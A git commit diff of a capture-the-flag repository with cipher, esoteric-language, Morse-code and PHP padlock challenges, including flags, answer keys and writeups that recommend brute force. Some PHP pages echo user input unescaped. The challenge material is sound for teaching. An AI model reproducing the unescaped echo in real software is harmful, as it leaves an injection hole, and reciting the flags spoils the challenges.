initial commit
0
DecryptThis/.gitkeep
Normal file
5
DecryptThis/Dockerfile
Normal file
@ -0,0 +1,5 @@
|
||||
FROM php:7.2-apache
|
||||
|
||||
COPY decrypt.php /var/www/html
|
||||
RUN chown www-data:www-data /var/www/html/decrypt.php
|
||||
EXPOSE 80
|
26
DecryptThis/README.md
Normal file
@ -0,0 +1,26 @@
|
||||
# CHALLENGE DecryptThis
|
||||
|
||||
A moderate encryption-challange.
|
||||
|
||||
|
||||
## Description
|
||||
I made an awesome encryption tool to send secret messages to my mother, but forgot to make a decryption tool...
|
||||
Anyway, now I'm stuck with these messages without knowing what they mean.
|
||||
* `>tmGUYjG<V1Y=S6P>QZtc|;6y?tFE<V)HxFH8t@Gd6>')IB5ucG7H,JT`
|
||||
* `Bx1inr2m[u"J_u:TBU3MQb(QZX7S8@iz7/Q$hXW3d{eC:-5AgN8\H:d9LS`
|
||||
* `rJ6nrv4oLfDlMcMgFYHbizEn/M8ImT9eZ4EIH5j]2m9Af^KL6WHG@]~99SNt`
|
||||
|
||||
|
||||
## Flag
|
||||
`IG{DeWielenVanDeBusGaanRondEnRond_RondEnRond}`
|
||||
|
||||
|
||||
## Given files
|
||||
`decrypt.php`
|
||||
Should be uploaded to a server first.
|
||||
|
||||
|
||||
## How the challenge works
|
||||
The encryption is a variant of Vignere, where the codeword is 7-14 characters and is hidden in the message. EG. if the coded message is _xxxxxxxxxx_ and the codeword _ABC_, the code will be _xAxBxCxxxxxxCx_. The second last character represents the lenth of the codeword (here C = 3).
|
||||
The best way to solve would be to try a few strings containing only one character like _AAAAAAAAAAAA_ to figure out how the encryption works.
|
||||
As the encrypted flags (this ia 3 times the same flag) are quiet long, quickly programming an encryption tool will save a lot of time.
|
129
DecryptThis/decrypt.php
Normal file
@ -0,0 +1,129 @@
|
||||
<?php
|
||||
|
||||
function generateCodeword($l) {
|
||||
$codeword = "";
|
||||
for ($i = 0; $i < $l; $i++){
|
||||
$rand = rand(65, 116);
|
||||
if ($rand > 90) {
|
||||
$rand += 6;
|
||||
}
|
||||
$codeword .= chr($rand);
|
||||
}
|
||||
return $codeword;
|
||||
}
|
||||
|
||||
|
||||
function getLetterValue($char) {
|
||||
return ord($char) - 33;
|
||||
}
|
||||
|
||||
|
||||
function getNumberValue($nr) {
|
||||
return chr((($nr + 94) % 94) + 33);
|
||||
}
|
||||
|
||||
|
||||
function encodeChar($char, $offset) {
|
||||
return getNumberValue(getLetterValue($char) + getLetterValue($offset));
|
||||
}
|
||||
|
||||
|
||||
function decodeChar($char, $offset) {
|
||||
return getNumberValue(getLetterValue($char) - getLetterValue($offset));
|
||||
}
|
||||
|
||||
|
||||
function encode($codeword, $message) {
|
||||
$encrypted = "";
|
||||
for ($i = 0; $i < strlen($message); $i++) {
|
||||
$encrypted .= encodeChar(substr($message, $i, 1), substr($codeword, $i % strlen($codeword), 1));
|
||||
}
|
||||
return $encrypted;
|
||||
}
|
||||
|
||||
|
||||
function hideCodeword($codeword, $message) {
|
||||
$len = strlen($codeword);
|
||||
$hidden = "";
|
||||
for ($i = 0; $i < $len; $i++) {
|
||||
$hidden .= substr($message, $i, 1);
|
||||
$hidden .= substr($codeword, $i, 1);
|
||||
}
|
||||
$hidden .= substr($message, $len, strlen($message) - $len - 1);
|
||||
$hidden .= chr(64 + $len);
|
||||
$hidden .= substr($message, -1);
|
||||
return $hidden;
|
||||
}
|
||||
|
||||
|
||||
function encrypt($message) {
|
||||
$cw = generateCodeword(rand(7, 14));
|
||||
return hideCodeword($cw, encode($cw, $message));
|
||||
}
|
||||
|
||||
|
||||
function decrypt($code) {
|
||||
$len = ord(substr($code, -2, 1)) - 64;
|
||||
$code = substr($code, 0, -2) . substr($code, -1);
|
||||
$codedMessage = "";
|
||||
$codeword = "";
|
||||
for ($i = 0; $i < (2 * $len); $i += 2) {
|
||||
$codedMessage .= substr($code, $i, 1);
|
||||
$codeword .= substr($code, $i + 1, 1);
|
||||
}
|
||||
$codedMessage .= substr($code, 2 * $len);
|
||||
$decrypted = "";
|
||||
for ($i = 0; $i < strlen($codedMessage); $i++) {
|
||||
$decrypted .= decodeChar(substr($codedMessage, $i, 1), substr($codeword, $i % strlen($codeword), 1));
|
||||
}
|
||||
return $decrypted;
|
||||
}
|
||||
|
||||
?>
|
||||
|
||||
|
||||
<?php
|
||||
|
||||
if(isset($_POST['encode'])) {
|
||||
$encode = $_POST['encode'];
|
||||
if (strlen($encode) < 16) {
|
||||
$decode = "An input string must at least be 16 characters...";
|
||||
} else {
|
||||
$decode = encrypt($encode);
|
||||
}
|
||||
}
|
||||
|
||||
?>
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Encryption/Decryption tool</title>
|
||||
<meta author="Benjamin Ver"/>
|
||||
<!-- Kudos to 16yo Benjamin for this site and the idea for the encryption. -->
|
||||
<style type="text/css">
|
||||
.FFCG { font-family: "Century Gothic"; }
|
||||
#decode { <?php if (strlen($encode) < 16) { echo 'color: red;'; } ?> }
|
||||
</style>
|
||||
|
||||
</head>
|
||||
<body>
|
||||
<table align="center">
|
||||
<th colspan="2" class="FFCG">Encryption/Decryption tool</th>
|
||||
<tr>
|
||||
<td class="FFCG">Coderen:</td>
|
||||
<td class="FFCG">Decoderen:</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<form action="decrypt.php" method="POST">
|
||||
<td><textarea name="encode" style="width: 500px; height: 150px" class="FFCG"><?php echo $encode; ?></textarea></td>
|
||||
<td><textarea id="decode" name="decode" style="width: 500px; height: 150px" class="FFCG" readonly><?php echo $decode; ?></textarea></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td colspan="2">
|
||||
<input type="submit" value="encode" class="FFCG"></td>
|
||||
</tr>
|
||||
</form>
|
||||
</table>
|
||||
|
||||
</body>
|
||||
</html>
|
9
DecryptThis/docker.sh
Executable file
@ -0,0 +1,9 @@
|
||||
#!/bin/bash
|
||||
|
||||
docker build -t decrypthis .
|
||||
|
||||
docker run -d \
|
||||
-p 8020:80 \
|
||||
--name decrypthis \
|
||||
--restart=unless-stopped \
|
||||
decrypthis
|
42
DecryptThis/writeup.md
Normal file
@ -0,0 +1,42 @@
|
||||
# CHALLENGE DecryptThis
|
||||
|
||||
## Writeup
|
||||
To decrypt, we first have to understand how the encryption works. The best way to do this would be to try a long string containing one charachter.
|
||||
If the input string was long enough, the encrypted version will show a clear pattern. This is a sign that a Vignere-Cipher is probably used. More information about vignere can be found [here](https://www.dcode.fr/vigenere-cipher).
|
||||
A second thing we can see is the beginning of the string, here the pattern is broken by _random_ characters, this is the cipher key for Vignere. The last odd thing is the second last character, this is the length of the codeword.
|
||||
|
||||
An example:
|
||||
`FFFFFFFFFFFFFFFFFFFF` might be coded to `GAHBICGHIGHIGHIGHIGHIGCH`, where `GHI` is the pattern, `ABC` is the key and `C` (=3) is the key length.
|
||||
|
||||
As the key-word is generated randomly, a string kan be encrypted to multiple strings. The 3 strings in the given file where 3 different encrypted versions of the flag.
|
||||
|
||||
|
||||
## Decryption Tool
|
||||
A (simple) tool could be written to decrypt a string; here is an example of a decryption tool in PHP:
|
||||
|
||||
```php
|
||||
function getNumberValue($nr) {
|
||||
return chr((($nr + 94) % 94) + 33);
|
||||
}
|
||||
|
||||
function decodeChar($char, $offset) {
|
||||
return getNumberValue(getLetterValue($char) - getLetterValue($offset));
|
||||
}
|
||||
|
||||
function decrypt($code) {
|
||||
$len = ord(substr($code, -2, 1)) - 64;
|
||||
$code = substr($code, 0, -2) . substr($code, -1);
|
||||
$codedMessage = "";
|
||||
$codeword = "";
|
||||
for ($i = 0; $i < (2 * $len); $i += 2) {
|
||||
$codedMessage .= substr($code, $i, 1);
|
||||
$codeword .= substr($code, $i + 1, 1);
|
||||
}
|
||||
$codedMessage .= substr($code, 2 * $len);
|
||||
$decrypted = "";
|
||||
for ($i = 0; $i < strlen($codedMessage); $i++) {
|
||||
$decrypted .= decodeChar(substr($codedMessage, $i, 1), substr($codeword, $i % strlen($codeword), 1));
|
||||
}
|
||||
return $decrypted;
|
||||
}
|
||||
```
|
40
Find-the-ducky/README.md
Normal file
@ -0,0 +1,40 @@
|
||||
Fun little online/offline challenge.
|
||||
|
||||
People will need to find the duck that'll be hidden in the room. The duck will have a password to unlock the flag
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
FLAG: IG{Thank5_f0r_s4ving_my_ch1ld!!}
|
BIN
Find-the-ducky/bruteMeOnce.zip
Normal file
25
Maze_Runner/Maze.bf
Normal file
@ -0,0 +1,25 @@
|
||||
>>>>>>>>>> $89*87++,v v1 ,+7:<
|
||||
v "hello" v >99*92*+2+:,^
|
||||
v ^<<<< > >:2-, >23*5+67*+v
|
||||
>>>>>v >>1!>12^ v **34+-12*23<
|
||||
>>^ v,+*93<< -
|
||||
^, -7++91::*2<<
|
||||
^
|
||||
>*!- >>># 5-+, v ^::,++91:<
|
||||
v ,/2+4<< >:2/91+2*-1-, ^
|
||||
^ <> ^ *^ < < :,-1:<
|
||||
: 6: ^,:+ <9 v <-
|
||||
> ,v +5 $2 5 +5
|
||||
/ - \* + ,
|
||||
3 > 91 + v - , +
|
||||
: - v +< 1v < 36
|
||||
^<>: 62 *- v ^:,,/3< -7 /
|
||||
-^,: +2< ^ ,+6< :+ 2
|
||||
5 * > :,+: v ,> ,@ +
|
||||
^, ++1*62 < 8 1
|
||||
> 1$:72 *+\3-: ,\:,\3+^ >+:, ^,
|
||||
- 6 >-:, 2-,: 2/+9+::^
|
||||
+ 4
|
||||
^2* <
|
||||
|
||||
^ <
|
3
Maze_Runner/challenge_description.txt
Normal file
@ -0,0 +1,3 @@
|
||||
#Estorical lang.
|
||||
|
||||
Help! I am trying to find my dear beloved pets, but I have lost them. They ran into the maze. In order to find them, I will have to find the end of the maze, however, one row of the maze is broken! Can you help me find my beloved pets? I will grant you the flag in return.
|
25
Maze_Runner/challenge_oplossing.txt
Normal file
@ -0,0 +1,25 @@
|
||||
>>>>>>>>>> $89*87++,v v1 ,+7:<
|
||||
v "hello" v >99*92*+2+:,^
|
||||
v ^<<<< > >:2-, >23*5+67*+v
|
||||
>>>>>v >>1!>12^ v **34+-12*23<
|
||||
>>^ v,+*93<< -
|
||||
^, -7++91::*2<<
|
||||
^
|
||||
>*!- >>># 5-+, v ^::,++91:<
|
||||
v ,/2+4<< >:2/91+2*-1-, ^
|
||||
v v< < *v < v :,-1:<
|
||||
: 6: ^,:+ <9 v <-
|
||||
> ,v +5 $2 5 +5
|
||||
/ - \* + ,
|
||||
3 > 91 + v - , +
|
||||
: - v +< 1v < 36
|
||||
^<>: 62 *- v ^:,,/3< -7 /
|
||||
-^,: +2< ^ ,+6< :+ 2
|
||||
5 * > :,+: v ,> ,@ +
|
||||
^, ++1*62 < 8 1
|
||||
> 1$:72 *+\3-: ,\:,\3+^ >+:, ^,
|
||||
- 6 >-:, 2-,: 2/+9+::^
|
||||
+ 4
|
||||
^2* <
|
||||
|
||||
^ <
|
BIN
Musical-Notes/Infogroep_Clublied.pdf
Normal file
31
Musical-Notes/README.md
Normal file
@ -0,0 +1,31 @@
|
||||
# CHALLENGE Musical Notes
|
||||
Encryption
|
||||
|
||||
## Description
|
||||
I've found this old music sheet in the attic, but I cannot read it. An old letter said that a secret message can be found by following the music. Can you help me?
|
||||
|
||||
Hint: this challenge does not use the regular flag format.
|
||||
|
||||
## Flag
|
||||
wel4vemus1c
|
||||
|
||||
## Given files
|
||||
Infogroep_Clublied.pdf
|
||||
|
||||
## How the challenge works:
|
||||
|
||||
The music sheet contains Morse code. 1/4th of a note is the long stroke and 1/8th of a note is the small stroke of morse code. Between every letter there are either short or long rests. If a measure contains a full rest of 4 notes long, it means that it has reached the end of a sentence.
|
||||
The following sentences can be translated from the music sheet:
|
||||
|
||||
Wij zijn de computerzonen
|
||||
Wij zijn van de infogroep
|
||||
Macintosh of PCklonen
|
||||
Zijn voor ons het beste snoep
|
||||
Ei het lied der Vlaamse hackers
|
||||
En der Vlaamse pintepakkers
|
||||
En met oude bit en byte
|
||||
Gamen wij all day all night
|
||||
The flag is we l4ve mus1c
|
||||
|
||||
|
||||
--> There is no format for this challenge. The answer is "wel4vemus1c".
|
0
Padlock/.gitkeep
Normal file
0
Padlock/CSS/.gitkeep
Normal file
80
Padlock/CSS/main.css
Normal file
@ -0,0 +1,80 @@
|
||||
/* Nothing to see here... */
|
||||
|
||||
|
||||
* {
|
||||
padding: 0;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
html, body, .full {
|
||||
min-height: 100% !important;
|
||||
height: 100%;
|
||||
font-family: roboto;
|
||||
}
|
||||
html{
|
||||
height: 100%;
|
||||
}
|
||||
body{
|
||||
min-height: 100%;
|
||||
}
|
||||
|
||||
table {
|
||||
margin: auto;
|
||||
width: 75%;
|
||||
}
|
||||
|
||||
.full {
|
||||
text-align: center;
|
||||
margin: auto;
|
||||
display: grid;
|
||||
grid-template-columns: 1fr;
|
||||
}
|
||||
|
||||
td {
|
||||
padding: 10px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
|
||||
tr td img {
|
||||
margin-top: 50px;
|
||||
width: 10%;
|
||||
}
|
||||
|
||||
tr td img:hover {
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.triangle {
|
||||
margin: auto;
|
||||
width: 0;
|
||||
height: 0;
|
||||
border-left: 50px solid transparent;
|
||||
border-right: 50px solid transparent;
|
||||
|
||||
}
|
||||
.up { border-bottom: 100px solid #555; }
|
||||
.down { border-top: 100px solid #555; }
|
||||
|
||||
.digit {
|
||||
text-align: center;
|
||||
font-size: 10vw;
|
||||
/*border: 1px solid black;*/
|
||||
}
|
||||
|
||||
#solution, #nosolution {
|
||||
margin: auto;
|
||||
position: relative;
|
||||
text-align: center;
|
||||
font-size: 5vw;
|
||||
font-weight: bold;
|
||||
}
|
||||
#nosolution img {
|
||||
margin-top: 5vw;
|
||||
width: 20%;
|
||||
}
|
||||
|
||||
footer {
|
||||
font-size: 1em;
|
||||
margin-top: -1.5em;
|
||||
}
|
5
Padlock/Dockerfile
Normal file
@ -0,0 +1,5 @@
|
||||
FROM php:7.2-apache
|
||||
|
||||
COPY . /var/www/html
|
||||
RUN rm /var/www/html/README.md
|
||||
EXPOSE 80
|
15
Padlock/README.md
Normal file
@ -0,0 +1,15 @@
|
||||
# CHALLENGE padlock
|
||||
|
||||
Simple web-hacking challenge
|
||||
|
||||
|
||||
## Description
|
||||
Crack the code and find the flag.
|
||||
|
||||
|
||||
## Flag
|
||||
`IG{w31C0mE_7O_tH3_m47R1x}`
|
||||
|
||||
|
||||
## How the challenge works
|
||||
It takes a simple 3-digit code (solution: 329) to be able to view success.php. Code's are submitted via POST-request with variable name `try`, a simple brute-force script will do the trick. However: the site has a few easter-eggs; some will also redirect you to another page (without a flag).
|
0
Padlock/assets/.gitkeep
Normal file
55
Padlock/assets/flag.txt
Normal file
@ -0,0 +1,55 @@
|
||||
____
|
||||
(_ _)
|
||||
| |______......------......______......------......______......------......______......------......______......------......
|
||||
| |\ ,,,,,,,,. |
|
||||
| | \ *%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*,,*(#(**,,*%%%%%%%%%%%%( |
|
||||
| | | *%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%,,*#%%%%%%%/,*#%%%%%%%%%%( |
|
||||
| | | *%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%(,*#%%%%%%%%%,,(%%%%%%%%%%( |
|
||||
| | | *%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%(,,**/#%%%%%%#,*#%%%%%%%%%%( |
|
||||
| | | *%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%#**,,,,,*(#(,*#%%%%%%%%%%%( |
|
||||
| | | *%%#**#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%#/*,,,,,*/#%%%%%%%%%( |
|
||||
| | | *%%/,,(%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%###%%%%%%%%#/*,,,,,*/%%%%%( |
|
||||
| | | *%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*,,,,,,*%%%#%%%%%%%%#/*%%%%%%( |
|
||||
| | | *(,,/%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%#*,/%%%**#%%%*,(%%%%%%%%%%%%%%%( |
|
||||
| | | *,,,#%%%%,*(%%%%%%%%%%%%%%%%/,,,,/%*,/%%%**#%%%%*,(%%%%%%%%%%%%%%%( |
|
||||
| | | .,,(%%%%/,,**,,,*%%%%%%%%%/,,,**,*%/,*%%%,(%%%%/,*#%%%%%%%%%%%%%%%( |
|
||||
| | | .,,/%%%%/,,/#%%%(,,*%%%%%%*,,*%%%%%%%/,,**/%%%(*,,#%%%%%%%%%%%%%%%%( |
|
||||
| | | ,,*%%%%#,,*%%%%%%/,,#%%(,,,,,#%%%%%%%%#*,,,,,,,,*#%%%%%%%%%%%%%%%%%( |
|
||||
| | | ,,,%%%%#,,,%%%%%%#,,*%%%%%*,,,,/%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%( |
|
||||
| | | .,,*%%%%*,,/%%%%%%*,,#%%%%/,,(%%%%%%%(****(#%%%%%%%%%%%%%%%%%%%%%%%%%( |
|
||||
| | | *%%%#,,*%%%%%%/,,(%%%%(,,/%%%%%(,,,,**,,,,*%%%%%%%%%%%%%%%%%%%%%%%( |
|
||||
| | | *%%%%#/#%%%%%(,,,%%%%#,,,%%%%%/,,(%%%%%%(,,*%%%%%%%%%%%%%%%%%%%%%%( |
|
||||
| | | *%%%%%%%%%%%%*,,#%%%%,,,(%%%%(,,/%%%%%%%%/,,/%%%%%%%%%%%%%%%%%%%%%( |
|
||||
| | | *%%%%%%%%%%%%%%%%%%%#,,*%%%%%/,,(%%%%%%%%(,,/%%%%%%%%%%%%%%%%%%%%%( |
|
||||
| | | *%%%%%%%%%%%%%%%%%%%%%%%%%%%%#,,,%%%%%%%#,,*%%%%%%%%%%%%%%%%%%%%%%( |
|
||||
| | | *%%%%%%%%%%%%%%%%%%%%%%%%%%%%%#,,,,/((/,,,*%%%%%%%%%%%%%%%%%%%%%%%( |
|
||||
| | | *%%%%%%%%%%%%%%%%%%%%%%%%%%/,#%%%/,,,,,*/%%%%%%%%%%%%%%%%%%%%%%%%%( |
|
||||
| | | *%%%%%%%%%%%%%%%%%%%%%%%%(,*,/%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%( |
|
||||
| | | *%%%%%%%%%%%%%%%%%%%%%%%%#**#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%( |
|
||||
| | | *%%%%%%%%%%%%%%%%%%%%%%%%%#*(%%%%%%%%%%%%%%%%%%%%**********#%%%%%%( |
|
||||
| | | *%%%%%%%%%%%%%%%%%%%%%%%*,,,,*(#%%%%%%%%%%%%%%%%% #%%%%%%( |
|
||||
| | | *%%%%%%%%%%%%%%%%%%%%%%%%#(/*,,,,**(#%%%%%%%%%%%% #%%%%%%( |
|
||||
| | | *%%%%%%%%%%%%%%%%%%%%%(*/%%%%%%%#/*,,/%%%%%%%%%%% #%%%%%%( |
|
||||
| | | *%%%%%%%%%%%%%%%%%%%%#*,(%%%%%%%%%%%%%%%%%%%%%%%% #%%%%%%( |
|
||||
| | | *%%%%%%%%%%%%%%%%%%%%*,,,,,,,#%%%%%%%%%%%%%%%%%%%///////////******, |
|
||||
| | | *%%%%%%%%%%%%%%%%%%%#,*(%%%(,*#%%%%(*,,*(%%%%%%%%%%%%%%%%%%. .. |
|
||||
| | | *%%%%%%%%%%%%%%%%%%%/,/%%%%%**#%%(,,*(/*,(%%%%%%%%%%%%%%%%%. ,(((((((, |
|
||||
| | | *%%%%%%%%%%%%%%%%%%%#,,/%%#*,*%%#,,(%%%(,/%%%%%%%%%%%%%%%%%. /((((((( |
|
||||
| | | ,,,,,,.,,,,,. .,,. (((((((/ |
|
||||
| | | .,.,, ,,, ,,*/(((* |
|
||||
| | | .,,,,,,, |
|
||||
| | / |
|
||||
| |/_____......------......______......------......______......------......______......------......______......------.....|
|
||||
| |
|
||||
| |
|
||||
| |
|
||||
| |
|
||||
| |
|
||||
| |
|
||||
| |
|
||||
| |
|
||||
| |
|
||||
| |
|
||||
| |
|
||||
| | Well, I guess you found A flag...
|
||||
| | (c) BenjaminVer
|
BIN
Padlock/assets/ganja.png
Normal file
After Width: | Height: | Size: 16 KiB |
BIN
Padlock/assets/lock.png
Normal file
After Width: | Height: | Size: 20 KiB |
BIN
Padlock/assets/open.png
Normal file
After Width: | Height: | Size: 16 KiB |
BIN
Padlock/assets/smirk.png
Normal file
After Width: | Height: | Size: 171 KiB |
BIN
Padlock/assets/unlock.jpg
Normal file
After Width: | Height: | Size: 26 KiB |
46
Padlock/bamboozle.php
Normal file
@ -0,0 +1,46 @@
|
||||
<?php
|
||||
if(!isset($_COOKIE['fu'])) {
|
||||
header ("location: index.php");
|
||||
die();
|
||||
} elseif ($_COOKIE['fu'] == "TmlDZSBUclkgbG9s") {
|
||||
$img = "ganja";
|
||||
} elseif ($_COOKIE['fu'] == "Tm90RXZlbkNsb3NlLi4u") {
|
||||
$img = "smirk";
|
||||
} else {
|
||||
header ("location: index.php");
|
||||
die();
|
||||
}
|
||||
?>
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Nice try, but no...</title>
|
||||
<meta name="author" content="BenjaminVer">
|
||||
<link rel='shortcut icon' href='assets/lock.png'>
|
||||
<link type="text/css" rel="stylesheet" href="CSS/main.css"/>
|
||||
<script type='text/Javascript' src='script/jQuery.js'></script>
|
||||
<script type="text/javascript">
|
||||
$(document).ready(function(){
|
||||
setTimeout(function(){
|
||||
window.location.href = "index.php?try=0";
|
||||
}, 10000);
|
||||
$('.full').click(function(){
|
||||
window.location.href = "index.php?try=0";
|
||||
})
|
||||
})
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
<!-- Sure, because life just is that easy... -->
|
||||
<div class="full">
|
||||
<div id="nosolution">
|
||||
Nice try, but no...<br>
|
||||
<img src='assets/<?php echo $img; ?>.png'>
|
||||
<img src='assets/<?php echo $img; ?>.png'>
|
||||
<img src='assets/<?php echo $img; ?>.png'>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<footer>The code just got harder now... (click anywhere)</footer>
|
||||
</body>
|
||||
</html>
|
9
Padlock/docker.sh
Executable file
@ -0,0 +1,9 @@
|
||||
#!/bin/bash
|
||||
|
||||
docker build -t padlock .
|
||||
docker run -d \
|
||||
-p 8000:80 \
|
||||
--read-only \
|
||||
--tmpfs /var/run \
|
||||
--restart=unless-stopped \
|
||||
padlock
|
71
Padlock/index.php
Normal file
@ -0,0 +1,71 @@
|
||||
<?php
|
||||
$fu = False;
|
||||
if (isset($_COOKIE["fu"])) {
|
||||
$fu = True;
|
||||
}
|
||||
|
||||
if (isset($_GET['try'])) {
|
||||
$fa = intval($_GET['try']);
|
||||
}
|
||||
$fa100 = floor($fa / 100);
|
||||
$fa -= 100 * $fa100;
|
||||
$fa10 = floor($fa / 10);
|
||||
$fa -= 10 * $fa10;
|
||||
$fa1 = $fa;
|
||||
?>
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>This page is locked</title>
|
||||
<meta name="author" content="BenjaminVer">
|
||||
<link rel='shortcut icon' href='assets/lock.png'>
|
||||
<link type='text/css' rel='stylesheet' href='CSS/main.css'/>
|
||||
<?php if (isset($_GET['try'])) { echo "<style> .w {color: red;} </style>"; } ?>
|
||||
<script type='text/Javascript' src='script/jQuery.js'></script>
|
||||
<script type='text/Javascript' src='script/main.js'></script>
|
||||
</head>
|
||||
<body>
|
||||
<div class='full'>
|
||||
<table>
|
||||
<tr>
|
||||
<?php if ($fu == True) {
|
||||
echo "<td><div class='triangle up' id='1000up'></div></td>"; }
|
||||
?>
|
||||
<td><div class='triangle up' id='100up'></div></td>
|
||||
<td><div class='triangle up' id='10up'></div></td>
|
||||
<td><div class='triangle up' id='1up'></div></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<?php if ($fu == True) {
|
||||
echo "<td class='digit w' id='num1000'>0</td>"; }
|
||||
?>
|
||||
<td class='digit w' id='num100'><?php echo $fa100; ?></td>
|
||||
<td class='digit w' id='num10'><?php echo $fa10; ?></td>
|
||||
<td class='digit w' id='num1'><?php echo $fa1; ?></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<?php if ($fu == True) {
|
||||
echo "<td><div class='triangle down' id='1000down'></div></td>"; }
|
||||
?>
|
||||
<td><div class='triangle down' id='100down'></div></td>
|
||||
<td><div class='triangle down' id='10down'></div></td>
|
||||
<td><div class='triangle down' id='1down'></div></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td colspan='<?php if ($fu == True) { echo 4; } else { echo 3; } ?>'>
|
||||
<img src='assets/unlock.jpg'>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</div>
|
||||
<form action='success.php' method='POST'>
|
||||
<!--Don't even think about it...-->
|
||||
<input type='hidden' name='try1' id='try1'>
|
||||
<input type='hidden' name='try10' id='try10'>
|
||||
<input type='hidden' name='try100' id='try100'>
|
||||
</form>
|
||||
|
||||
<!-- Just to be GDPR compliant (kinda...) -->
|
||||
<footer>This page uses cookies, live with it...</footer>
|
||||
</body>
|
||||
</html>
|
2
Padlock/robots.txt
Normal file
@ -0,0 +1,2 @@
|
||||
User-agent: *
|
||||
Disallow /assets/flag.txt
|
0
Padlock/script/.gitkeep
Normal file
10598
Padlock/script/jQuery.js
Normal file
50
Padlock/script/main.js
Normal file
@ -0,0 +1,50 @@
|
||||
// \______ \ ____ ___)// |_ _/ |_ ____ __ __ ____ | |__ _____ ___.__. ____ ____ __| _/____| |
|
||||
// | | \ / _ \ / \ __\ \ __\/ _ \| | \_/ ___\| | \ / < | | _/ ___\/ _ \ / __ |/ __ \ |
|
||||
// | ` ( <_> ) | \ | | | ( <_> ) | /\ \___| Y \ | Y Y \___ | \ \__( <_> ) /_/ \ ___/\|
|
||||
// /_______ /\____/|___| /__| |__| \____/|____/ \___ >___| / |__|_| / ____| \___ >____/\____ |\___ >_
|
||||
// \/ \/ \/ \/ \/\/ \/ \/ \/\/
|
||||
|
||||
|
||||
var cn = true;
|
||||
|
||||
function resetColor() {
|
||||
cn = false;
|
||||
$('.digit').removeClass('w');
|
||||
}
|
||||
|
||||
function setUp(numId) {
|
||||
if (cn) { resetColor(); }
|
||||
numId.html((parseInt(numId.html()) + 1) % 10);
|
||||
}
|
||||
|
||||
function setDown(numId) {
|
||||
if (cn) { resetColor(); }
|
||||
if (numId.html() == "0") {
|
||||
numId.html(9)
|
||||
} else {
|
||||
numId.html(parseInt(numId.html()) - 1);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
function send() {
|
||||
$('#try1').val(parseInt($('#num1').html()));
|
||||
$('#try10').val(parseInt($('#num10').html()));
|
||||
$('#try100').val(parseInt($('#num100').html()));
|
||||
$('form').submit()
|
||||
}
|
||||
|
||||
$(document).ready(function(){
|
||||
$("#1000up").click(function(){ setUp($('#num1000')); })
|
||||
$("#100up").click(function(){ setUp($('#num100')); })
|
||||
$("#10up").click(function(){ setUp($('#num10')); })
|
||||
$("#1up").click(function(){ setUp($('#num1')); })
|
||||
$("#1000down").click(function(){ setDown($('#num1000')); })
|
||||
$("#100down").click(function(){ setDown($('#num100')); })
|
||||
$("#10down").click(function(){ setDown($('#num10')); })
|
||||
$("#1down").click(function(){ setDown($('#num1')); })
|
||||
|
||||
$('img').click(function(){
|
||||
send();
|
||||
});
|
||||
})
|
44
Padlock/success.php
Normal file
@ -0,0 +1,44 @@
|
||||
<?php
|
||||
$stay = False;
|
||||
$try = intval($_POST['try1']);
|
||||
$try += intval($_POST['try10']) * 10;
|
||||
$try += intval($_POST['try100']) * 100;
|
||||
switch ($try) {
|
||||
case 329:
|
||||
$stay = True;
|
||||
break;
|
||||
case 420:
|
||||
setcookie("fu", "TmlDZSBUclkgbG9s", time()+3600);
|
||||
header ("location: bamboozle.php");
|
||||
die();
|
||||
break;
|
||||
case 690:
|
||||
case 69:
|
||||
setcookie("fu", "Tm90RXZlbkNsb3NlLi4u", time()+3600);
|
||||
header ("location: bamboozle.php");
|
||||
die();
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
if (!$stay) {
|
||||
header ("location: index.php?try=" . $try);
|
||||
die();
|
||||
}
|
||||
|
||||
?>
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Page unlocked!</title>
|
||||
<meta name="author" content="BenjaminVer">
|
||||
<link rel="shortcut icon" href="assets/open.png">
|
||||
<link type="text/css" rel="stylesheet" href="CSS/main.css"/>
|
||||
</head>
|
||||
<body>
|
||||
<div class="full">
|
||||
<div id="solution">IG{w31C0mE_7O_tH3_m47R1x}</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
39
Padlock/writeup.md
Normal file
@ -0,0 +1,39 @@
|
||||
# CHALLENGE padlock
|
||||
|
||||
## Writeup
|
||||
To get the flag, a 3-digit code has to be found. As 3 digits only offers 999 combinations, brute-force would be the way to go.
|
||||
